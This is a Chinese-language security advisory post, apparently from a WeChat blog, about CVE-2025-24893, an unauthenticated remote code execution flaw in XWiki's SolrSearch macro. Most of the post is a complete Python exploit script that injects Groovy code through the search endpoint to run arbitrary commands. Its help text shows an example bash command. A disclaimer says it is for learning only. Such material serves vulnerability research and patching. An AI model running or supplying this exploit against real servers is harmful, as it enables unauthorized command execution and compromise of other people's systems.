CVE-2025-24893|XWiki Platform远程代码执行漏洞(POC)

CVE-2025-24893|XWiki Platform远程代码执行漏洞(POC)

alicy 信安百科 2025-05-04 10:00

0x00 前言

XWiki是一个开源的企业级知识管理平台,它使用Java编写,并提供了一个完整的框架用于创建、管理和分享信息。XWiki采用Wiki概念,允许团队成员通过Web界面协作编辑文档。其核心特性包括强大的版本控制、权限管理、模板和宏系统以及多语言支持。

0x01 漏洞描述

该漏洞存在于 XWiki 的 SolrSearchMacros 功能中,允许未经身份验证的用户通过对 SolrSearch
 端点的请求执行任意远程代码。

0x02 CVE编号

CVE-2025-24893

0x03 影响版本

XWiki 15.10.11、16.4.1和16.5.0RC1之前的版本

0x04 漏洞详情

POC:

https://github.com/iSee857/CVE-2025-24893-PoC

import argparse
import requests
import sys
from urllib.parse import urljoin

VULN_PATH = "/xwiki/bin/get/Main/SolrSearch?media=rss&text="
PAYLOAD_TEMPLATE = "}}}{{async async=false}}{{groovy}}%s;println('EXPLOIT_SUCCESS'){{/groovy}}{{/async}}"

def banner():
    print("\033[36m" + """
    ****************************************************
    *                 CVE-2025-24893                   *
    *             XWiki RCE漏洞利用工具                 *
    *                 作者: iSee857                    *
    ****************************************************
    """ + "\033[0m")
def execute_exploit(target_url, command):

    try:
        full_url = urljoin(target_url.rstrip('/') + '/', VULN_PATH.lstrip('/')) 

        safe_cmd = command.replace('{', '{{').replace('}', '}}')  
        safe_cmd = safe_cmd.replace('\\', '\\\\')  
        safe_cmd = safe_cmd.replace("'", "\\'")   


        payload = PAYLOAD_TEMPLATE % safe_cmd
        params = {'media': 'rss', 'text': payload}
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': '*/*'
        }

        response = requests.get(
            full_url,
            params=params,
            headers=headers,
            allow_redirects=False,
            verify=False,
            timeout=20
        )

        if response.status_code == 200 and 'EXPLOIT_SUCCESS' in response.text:
            print("[+] 漏洞利用成功!响应片段:")
            print(response.text[:300].split('EXPLOIT_SUCCESS')[0] + "...[SUCCESS]")
            return True
        else:
            print(f"[-] 利用失败,状态码:{response.status_code}")
            return False

    except Exception as e:
        print(f"[-] 错误:{str(e)}")
        return False

if __name__ == "__main__":
    banner()
    parser = argparse.ArgumentParser(description="XWiki RCE漏洞利用工具 CVE-2025-24893")
    parser.add_argument("URL", help="目标URL (例: http://127.0.0.1:8080)")
    parser.add_argument("COMMAND", help="Groovy命令 (例: 'new ProcessBuilder(\"bash\",\"-c\",\"echo pwned > /tmp/pwned.txt\").waitFor()')")
    args = parser.parse_args()


    if '\\' in args.COMMAND:
        args.COMMAND = args.COMMAND.replace('\\', '/')

    success = execute_exploit(args.URL, args.COMMAND)
    sys.exit(0 if success else 1)

0x05 参考链接

https://github.com/iSee857/CVE-2025-24893-PoC

https://jira.xwiki.org/browse/XWIKI-22149

推荐阅读:

CVE-2025-30208|Vite任意文件读取漏洞(POC)

CVE-2024-55591|FortiOS和FortiProxy身份认证绕过漏洞(POC)

CVE-2024-38819|Spring Framework路径遍历漏洞(POC)

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持

!!!

本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。